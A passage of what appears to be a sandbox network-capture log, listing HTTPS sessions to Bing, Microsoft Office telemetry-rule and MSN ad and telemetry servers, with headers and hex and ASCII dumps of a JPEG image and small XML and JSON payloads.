{U+:Gi.\|\"'R]5?ibn<>T>")$f_FrTv"z.iY-<wqkku~3gXJMaK[eaEj{3T4y%mT_'W9e#,uwujk\\ks
2024-11-20 13:43:46 UTC	16384	IN	Data Raw: 24 2d 23 67 dc f4 1d b1 47 c2 fd 3b 4f d5 b5 c9 23 bd 81 64 58 a2 32 6d 6f bb 91 eb 59 c2 75 29 46 73 aa ee 91 a4 94 66 e2 a0 6a fc 3f f0 d5 9b d9 ae b7 7b 3c 92 96 94 79 51 c6 bf 74 77 c9 3d eb b2 b3 d2 6c 9b 54 96 78 ac ed a2 95 54 18 d9 be 6f 2f dd 89 ef 53 3c 91 4b 62 be 64 b2 2c 31 63 6a ed d9 bb fd d1 d0 55 c6 df f6 55 16 71 2c 45 b9 66 da 5d 57 3e a7 ab 63 d2 be 77 13 8a a9 52 4d be a7 6d 3a 71 8c 6c 91 16 ac 44 b2 5a de 47 b9 7c b6 c3 34 4b fc 62 aa aa db db 5b c9 79 24 5e 6c b2 c9 fb a8 a5 fb ab 9e a4 f7 62 6a cc 97 b3 da 69 f7 26 05 9d 56 08 c9 8f cc 50 ad 21 c7 e4 05 63 e9 f7 91 b6 9b 26 aa f2 b4 72 34 58 5d cb f3 64 fd 6b 28 41 b8 ea 6d ca 97 a9 b4 8d 68 d3 47 72 5b 85 88 85 8d 57 77 3f c5 f4 15 c9 eb 62 7b 5d 3f 50 95 99 77 2c 67 ca f2 db e5 Data Ascii: $-#gG;O#dX2moYu)Fsfj?{<yQtw=lTxTo/S<Kbd,1cjUUq,Ef]W>cwRMm:qlDZG\|4Kb[y$^lbji&VP!c&r4X]dk(AmhGr[Ww?b{]?Pw,g
2024-11-20 13:43:46 UTC	16384	IN	Data Raw: c7 af ad 43 e4 5b dc ea d7 57 e7 74 92 ae 02 c5 1c 63 f7 64 75 f9 9b b9 ef 8a f8 bc 2d 49 c2 77 5a 2b 58 f4 b9 9c 5d 89 6e 34 3d 13 49 b7 83 46 b6 9e 08 2c ed d7 12 49 13 07 66 90 f5 07 fd ac d7 29 75 a4 25 94 93 db c5 aa c1 1b 5c c8 0a c7 c2 26 07 73 8f bd 57 e6 36 7a c5 d4 ba 65 96 9e d2 5c 33 07 69 65 ce c8 c7 f2 cd 67 eb 6f 20 f1 04 76 96 f0 2c f3 46 a1 e4 65 8c 32 e0 7e 1c 2d 75 46 35 5b e5 93 d5 ea 62 f7 b9 b3 12 2d ae 86 d2 5c 5e 2d e1 59 02 6d 8d 43 2c 63 dc f7 a8 f5 ed 42 28 34 b6 78 20 f3 da 49 14 2a ee fb c6 ab 78 09 35 8d 7b 4b 69 24 b6 6d d7 d7 66 d6 d2 35 5f 99 80 7f 9e 4e c1 54 0a da d6 f4 3d 0a cb e2 12 d8 59 5c c9 3b 5a a8 31 a7 de 1b f1 82 c7 f1 ae 4e 5a d0 9b 6e 3b 32 ad 26 ae 70 3f 1b af 4e 91 71 a1 d9 5b 6e 92 4b 9b 95 f3 24 65 74 b7 Data Ascii: C[Wtcdu-IwZ+X]n4=IF,If)u%\&sW6ze\3iego v,Fe2~-uF5[b-\^-YmC,cB(4x I*x5{Ki$mf5_NT=Y\;Z1NZn;2&p?Nq[nK$et

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.6	49893	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:45 UTC	346	OUT	GET /th?id=OADD2.10239402613045_1Y7ZSJRVESY5KBVS8&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-20 13:43:46 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 548153 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 827A6AFA0E5047F78BB92E8D51AEE43D Ref B: EWR30EDGE0817 Ref C: 2024-11-20T13:43:45Z Date: Wed, 20 Nov 2024 13:43:45 GMT Connection: close
2024-11-20 13:43:46 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 19 e0 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 3a 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 ac 87 69 00 04 00 00 00 01 00 00 00 c0 00 00 00 ec 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 36 2e 31 20 28 32 30 32 34 31 31 30 33 2e 6d 2e 32 38 33 34 20 31 34 64 33 65 37 34 29 20 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 34 3a 31 31 3a 31 34 20 31 33 3a 34 36 3a 35 38 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 Data Ascii: JFIF``ExifMM*bj(1:r2i``Adobe Photoshop 26.1 (20241103.m.2834 14d3e74) (Windows)2024:11:14 13:46:588
2024-11-20 13:43:46 UTC	16384	IN	Data Raw: 86 e3 14 d6 15 2f 34 c6 14 c6 33 e5 34 73 4a c2 92 95 c0 4e 94 dc 53 e8 e6 8b 80 ce b4 62 96 8a 57 01 31 f2 d3 71 4f a4 fa 54 80 94 9d 29 68 a1 b1 d8 14 50 a2 97 14 bc d0 21 ab 47 b5 2b 51 8c 54 8c 5e 69 1a 96 8a 68 03 9a 1a 9d cd 0d 4f a0 c6 af a5 1f 2d 39 85 22 f1 4a e0 27 4f a5 2e 29 68 f9 68 01 b4 53 b1 de 93 14 c0 4a 29 dc d2 62 a4 43 58 52 37 14 e6 f4 a4 61 40 c6 b7 de a4 a7 35 35 87 cb 52 03 58 53 7a 53 9a 93 15 23 43 58 53 58 53 fa 52 62 81 8c 6a 4c 7c d4 e6 a3 18 6e 6a 00 6f 5a 4f 7a 75 23 0f 9a 8b 80 d6 14 62 96 8a 40 1c d3 5a 9d cd 23 0a 9b 80 dc 52 d3 b9 a4 c5 0d 80 8c 3e 5a 6d 49 cd 31 85 48 09 4a bf 76 97 9a 16 81 87 34 98 c2 d3 b1 8a 4a 9b 8c 46 a2 95 a8 a0 07 73 47 34 7f 0d 14 90 05 26 29 69 dc d5 5c 06 f4 5a 3e 51 4b fc 54 bc d5 26 21 bd Data Ascii: /434sJNSbW1qOT)hP!G+QT^ihO-9"J'O.)hhSJ)bCXR7a@55RXSzS#CXSXSRbjL\|njoZOzu#b@Z#R>ZmI1HJv4JFsG4&)i\Z>QKT&!
2024-11-20 13:43:46 UTC	16384	IN	Data Raw: a7 de 69 af 6d 3e 9f 22 84 c8 39 24 3a 96 2f b4 8e 70 9c 8e 6b 0e 64 c5 7d 35 fb 67 47 bf c2 fa 54 b2 7c d2 7f 6b b2 79 9b 46 ec 7d 9c 9c 67 ad 7c df 75 18 12 52 c1 e2 be b1 4b 9e c6 94 f5 46 73 af cd 51 32 d5 a7 5c 54 2e 2b a6 e6 a5 69 07 a5 31 94 54 ec 2a 37 5c f5 a9 65 10 b8 a6 32 d4 ce 29 b8 a9 b9 44 4c 29 18 54 98 a6 b0 c5 40 11 b2 d2 6d 1d a9 f8 f9 69 79 a5 72 88 58 7c d4 98 a9 18 53 7d ea 6e 16 23 61 4d 61 52 d3 5b 8a 43 23 a3 9a 73 0a 4c 54 80 c6 14 d6 14 f6 a4 a5 71 8d 51 9a 46 19 a7 d3 7a d2 01 b8 f4 a3 9a 5c 66 8c 52 b8 0d 61 45 3f 9a 29 0e c5 6e ad 4b cd 26 3e 6a 55 e1 ab 31 0a b4 e5 14 8b 4b 8c 7d 29 dc 05 a3 1e 94 70 38 a5 51 4a e0 2e 31 4b ed 49 8c 53 b1 8a 00 1a 97 9a 14 52 a8 35 57 00 5a 72 0a 29 ff 00 5a 2e 01 f4 a5 a2 9d 40 07 34 2d 2e Data Ascii: im>"9$:/pkd}5gGT\|kyF}g\|uRKFsQ2\T.+i1T*7\e2)DL)T@miyrX\|S}n#aMaR[C#sLTqQFz\fRaE?)nK&>jU1K})p8QJ.1KISR5WZr)Z.@4-.
2024-11-20 13:43:46 UTC	16384	IN	Data Raw: b8 86 0c cd c3 f4 0b cf 4e b5 f1 58 9c d7 33 c6 a5 57 0b 09 24 d3 56 ba 5e 8e d2 6b 75 b3 ea 76 51 9e 1a 9b b5 48 b9 6b 6d 15 d6 8f c8 e1 fe 2d 7c 3e d1 b4 7d 52 ce c7 46 92 e6 17 91 5b fe 3f fe 5f 31 38 28 c3 8f f7 87 fc 06 b1 fc 7b e0 0b 2d 03 e1 c6 99 7d 70 d3 7f 6b de 4e fb f6 b6 e8 64 84 7d d2 9c 0e 9d 0f d6 ba ef 1b 78 f3 c2 ba ff 00 c4 cb 3b fd 63 59 bb bf d2 6c ad a6 8c 28 d3 59 1d 9d be e1 f9 58 65 47 e0 6b 2b e3 bf 8e fc 3f af db d8 69 7a 56 b7 71 2d ad 92 6d 47 b9 d3 1b f7 69 80 36 8d a4 13 f5 3f dd af 47 01 81 cf 16 26 8d 19 36 e1 f1 36 dc 3b ed 2f 79 b5 a7 4d 7a 18 ce bd 15 4a 37 5e f2 5a e8 fb 6c b4 ef e8 78 5e a1 1e c6 6a ce 98 7c d5 a5 ad 5c 27 9c de 5b 2b 0d c7 6b 6d db b8 02 40 3b 72 71 9f 4e d5 8f 2c 85 bf 8a be ea 3a 68 79 f3 d7 50 61 Data Ascii: NX3W$V^kuvQHkm-\|>}RF[?_18({-}pkNd}x;cYl(YXeGk+?izVq-mGi6?G&66;/yMzJ7^Zlx^j\|\'[+km@;rqN,:hyPa
2024-11-20 13:43:46 UTC	16384	IN	Data Raw: 3f 28 ee f4 f3 ff 00 6c f3 54 34 3f b6 6e b3 d4 23 56 69 a2 b2 5b 95 56 f9 b7 4f 14 49 36 df a9 9b 4b b8 1f f0 36 a9 66 b6 b6 82 ea eb 49 8a 5f 2e cf f7 96 7e 7f fd 30 2e 6d 95 f3 ed 0d e6 9d 27 fd b2 cd 77 4f 5d 0b 47 41 ab 5b c7 73 f0 d6 28 a5 5f 96 f3 54 f2 3f 79 f7 be 60 47 fd f4 33 9f c2 9d e0 5b df 87 96 5e 00 8b 4b d5 35 a9 1b 58 b5 b9 94 ce be 5c d1 85 70 31 b3 e5 61 dd 40 ce 68 85 de ef e0 7f 87 ee e5 56 f3 2f b5 98 4c 9f c4 ac 4c 6f bb 9e c4 10 7e bb 4d 79 67 c5 c8 9f 4b f1 e5 cc e9 fe af 50 8d 6e 97 fd f6 f9 64 ff 00 c7 d5 bf 3a e1 c7 65 78 7c d2 83 c3 57 5a 5e e9 a6 d3 56 ec d3 47 a5 80 c4 ca 8c 9f 2b 6b d3 43 e8 37 f8 83 f0 e7 44 d1 75 26 d0 e3 9e 59 ae 10 c6 16 58 64 91 18 30 e7 ab 64 67 d3 22 b9 3d 4f e2 3a 6b 7e 0c b7 b0 36 96 11 35 b8 64 Data Ascii: ?(lT4?n#Vi[VOI6K6fI_.~0.m'wO]GA[s(_T?y`G3[^K5X\p1a@hV/LLo~MygKPnd:ex\|WZ^VG+kC7Du&YXd0dg"=O:k~65d
2024-11-20 13:43:46 UTC	16384	IN	Data Raw: 8f 0d bb f8 69 52 52 8d c7 cd 59 c3 0b 42 10 50 51 d0 d1 e2 aa b7 77 23 57 55 d7 6f af e4 8c ce cb fb be 17 6c 61 7f 95 41 0d ec fb b9 95 aa a3 4c 5b 89 3a 53 90 82 b9 49 55 47 4f 9a b6 50 8a 56 48 8f 69 29 3b b6 6a e9 fa d6 a7 65 26 f8 a7 dc 1b ef 2f f7 ab a9 b5 f1 45 95 fe 9b 21 b9 68 e0 95 58 7e ea 46 2c ac 3b e3 8f d2 b8 28 c3 ee fd df fd f5 4f 77 03 e4 3b 94 ff 00 b5 58 54 c3 53 9b bd b5 3a 68 e2 aa 53 56 bd d1 ea 5e 1e 7d 0e ff 00 cc 82 e3 c4 76 3a 38 58 b7 c7 2b 5b 19 1a 62 3f 81 76 82 11 8f 5c 9e 2a d6 93 e1 6b 61 a8 69 9a c6 ab f6 9f ec 5b cb 91 0b b4 52 c7 26 a1 22 e4 64 24 47 80 c7 3c 03 5e 47 1c 88 9c ed 66 1f de 5f 96 b5 74 3d 66 5b 3d 4a 3b db 79 55 9a 26 f9 56 55 de bd 30 3b 83 c7 e9 59 bc 23 51 6a 2c a9 62 9c e5 76 7b c7 8a 3e 1c f8 72 3f Data Ascii: iRRYBPQw#WUolaAL[:SIUGOPVHi);je&/E!hX~F,;(Ow;XTS:hSV^}v:8X+[b?v\*kai[R&"d$G<^Gf_t=f[=J;yU&VU0;Y#Qj,bv{>r?
2024-11-20 13:43:46 UTC	16384	IN	Data Raw: 29 81 4b 74 dc 7e 44 2a 48 39 f5 04 fc b8 a9 f4 bd 66 5b 2d 1e 48 0c b2 46 2e b0 fe 52 fd d6 2b 90 18 8f 5f 99 b1 e9 93 56 fc 69 a6 47 1e bd 75 a8 cf 6d f6 6b 75 93 3e 43 48 5d 99 db e6 09 b9 b9 38 f5 3d ab 9f b7 8c dc 5d 49 71 76 df bb 5e 64 6f e4 a3 eb 5e 8d 75 09 4e 56 da e7 9b b3 35 ec 6f e3 b6 b3 f3 df 6a c9 3f fa a5 6f 63 f7 bf 0e de a7 e9 5b 5e 0c b8 8d 2d e4 96 ee 5d b1 6e fd d2 b7 f1 3f af d3 3f ad 56 f0 f7 82 75 9f 10 f8 67 51 f1 5b a4 71 69 5a 54 b1 c3 3b 34 80 3f cd d1 62 4e af 81 e9 d3 a9 ac 0b ab 89 45 f7 99 1a f9 7b 57 64 71 ff 00 0c 60 74 15 c2 aa 51 ae e7 08 4a ee 3a 3f 27 d8 db df a7 69 49 6e 6d 6a b3 a3 6a 53 b3 aa b3 72 77 7d e6 a8 6d e5 31 43 c3 37 99 22 9f f8 08 3d 7f 3a a9 a7 93 73 24 92 dc fd d5 fb cc df 77 27 b7 f9 ed 56 6d 6d 2e Data Ascii: )Kt~D*H9f[-HF.R+_ViGumku>CH]8=]Iqv^do^uNV5oj?oc[^-]n??VugQ[qiZT;4?bNE{Wdq`tQJ:?'iInmjjSrw}m1C7"=:s$w'Vmm.
2024-11-20 13:43:46 UTC	16067	IN	Data Raw: 1f 45 d7 2d e7 97 49 9f 5d 91 59 b7 bd 93 db 66 36 80 82 65 74 f9 77 a8 0b d0 0c e7 15 e7 ff 00 b2 b4 da d7 83 3c 79 a9 e9 67 c3 16 57 d7 1b 9b fd 2d e1 df 24 25 62 df 88 b7 b2 85 de 4f 52 07 1d eb 73 e3 17 c5 99 af bc 5c 84 a7 9d 6d 6b 6a b0 4c b6 4b b5 da 46 53 be db 70 07 ee 12 43 60 e0 f4 ce 33 5f 35 99 e0 e7 f5 be 58 2b db c9 5f ef f9 9c 79 75 27 4a b2 7b 5f bb d3 d2 d6 d8 f3 8d 17 46 f8 69 61 a3 dc de e9 ba ad db 48 f3 84 f2 9f 78 69 08 e6 38 72 57 bb 73 c7 4e 09 e9 5e 4b 6c b7 7a f7 88 2e 6f f5 1b 9f 2a 28 bf 79 77 2a af fa 98 d7 e5 0a a3 d7 a2 28 af 59 b1 f1 17 82 1b 47 fb 0a 7c 3e d4 a5 bb 59 1b ec d3 aa 47 b2 39 5c fc ac 06 32 00 3b 45 79 f6 b1 a5 cb 69 bb c3 d6 d1 4f 2a ac a2 4b 99 22 5d cb 71 39 ff 00 d9 50 1d aa 3b 9c 9e f5 ed 64 ca 51 73 55 Data Ascii: E-I]Yf6etw<ygW-$%bORs\mkjLKFSpC`3_5X+_yu'J{_FiaHxi8rWsN^Klz.o(yw(YG\|>YG9\2;EyiO*K"]q9P;dQsU
2024-11-20 13:43:46 UTC	16384	IN	Data Raw: 1f c4 1b 53 fb 36 dd 6a ad e1 3d 02 04 b7 b9 ff 00 43 d2 e2 85 c5 b3 67 ef 48 c9 bb 3c f2 07 3e fd eb e8 73 bc b3 11 2c 3d 28 28 49 73 49 2b de 3d 74 e8 7a 14 f1 54 70 b3 53 54 57 de d9 f2 c5 f7 85 da ee d6 d5 ec e7 d3 56 18 e3 f2 da 45 b9 76 59 a4 04 ee 7e 17 82 78 e2 b3 ee b4 fd 66 ca 36 d3 ad a2 9e ee 16 5d f2 2d a7 98 f0 e7 a6 5b 80 32 2b d8 bc 49 f1 d3 4e 96 d2 d5 66 f8 67 e1 19 cc 59 1b 66 82 5f 97 e9 87 ab 5e 08 f8 95 61 2b 5d 6a 53 78 6b 47 d2 2d e7 88 04 b3 b0 8c aa 33 8c 80 f8 72 c7 fa 1f c2 b6 8f 0b e2 29 e1 d3 ad 4e 4e de 70 7a df d1 b3 d3 a7 88 8d 5c 5f 2c 17 25 d6 e9 f9 6d d8 f0 cb 1b 9b e8 af a5 d1 ad 97 52 5b 65 90 0b df 25 5d 51 b9 1b 99 c7 f7 47 bf 4a fa 73 c3 1e 3e d6 bc 17 e2 6d 63 c1 da 1d aa ad a4 37 b2 c3 65 6d 04 01 56 3b 64 93 ca Data Ascii: S6j=CgH<>s,=((IsI+=tzTpSTWVEvY~xf6]-[2+INfgYf_^a+]jSxkG-3r)NNpz\_,%mR[e%]QGJs>mc7emV;d
2024-11-20 13:43:46 UTC	16384	IN	Data Raw: c7 8a fc ef 01 52 34 71 50 a9 d9 9a ba ad 91 4d 73 6c ed c7 fd f3 51 c9 2c 1b 70 2b 32 e3 89 2a 3f 30 f7 af dc 32 fc e5 54 a6 9d 8f 3f 11 37 73 5a dd 6d 9e 4c c8 8a cd fd ed b5 a5 74 74 d3 6b b4 44 bb bf d9 5d b5 cd c2 e3 75 5a 67 3e 5e 6b d6 8e 39 4e cd 8a 9d 4f 77 62 ae a0 b6 eb 70 de 5c 4b 8f f7 6a be 7e 6a 4b a2 4c 8c 69 aa 72 d5 f8 bf 17 d7 75 33 19 48 e8 a7 2b c5 1d 4f 84 9e 31 22 b4 8c d8 ff 00 66 bd 03 7e 90 6c e3 c3 6d 6d bf 36 e8 eb cc fc 3e f8 65 ae a2 19 33 6f 5f 9c e2 e3 cd 3d 5d 8e ca 35 2c ad 62 de aa d6 03 76 c6 56 ff 00 80 d6 4c 86 d0 72 1b 9a 4b e6 fb d5 9d 33 54 42 36 ea 29 55 d7 62 b6 b0 c0 c9 fb b6 e2 a2 b1 07 cc e2 92 e3 96 a9 74 fe 24 53 5d 49 fb b6 33 8d 9b 3b 5f 02 a9 6b a8 b7 f4 dd fd da fa 6f e0 ec 56 46 de 3f 3e 7f 2c 6d af 9a Data Ascii: R4qPMslQ,p+2*?02T?7sZmLttkD]uZg>^k9NOwbp\Kj~jKLiru3H+O1"f~lmm6>e3o_=]5,bvVLrK3TB6)Ubt$S]I3;_koVF?>,m

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.6	49890	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:45 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:46 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:46 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 0cd4e810-101e-0079-148c-3a5913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134346Z-185f5d8b95cdh56ghC1NYCk1x400000004700000000057h5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:46 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.6	49895	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:45 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:46 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:46 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: d35eaebc-501e-0064-178c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134346Z-1777c6cb754gvvgfhC1TEBz4rg00000009r000000000bzh8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:46 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.6	49897	20.75.60.91	443	7744	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:46 UTC	1067	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=0CB77821E0D96F30089A6D1CE1DE6E70&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=eae23a6305104671b5f6f096572edca3 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=0CB77821E0D96F30089A6D1CE1DE6E70; _EDGE_S=F=1&SID=2EF7A752059B629115E9B26F045063B8; _EDGE_V=1
2024-11-20 13:43:46 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Nov 2024 13:43:45 GMT Connection: close
2024-11-20 13:43:46 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.6	49896	20.189.173.8	443	7744	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:46 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732110223128&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3758 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 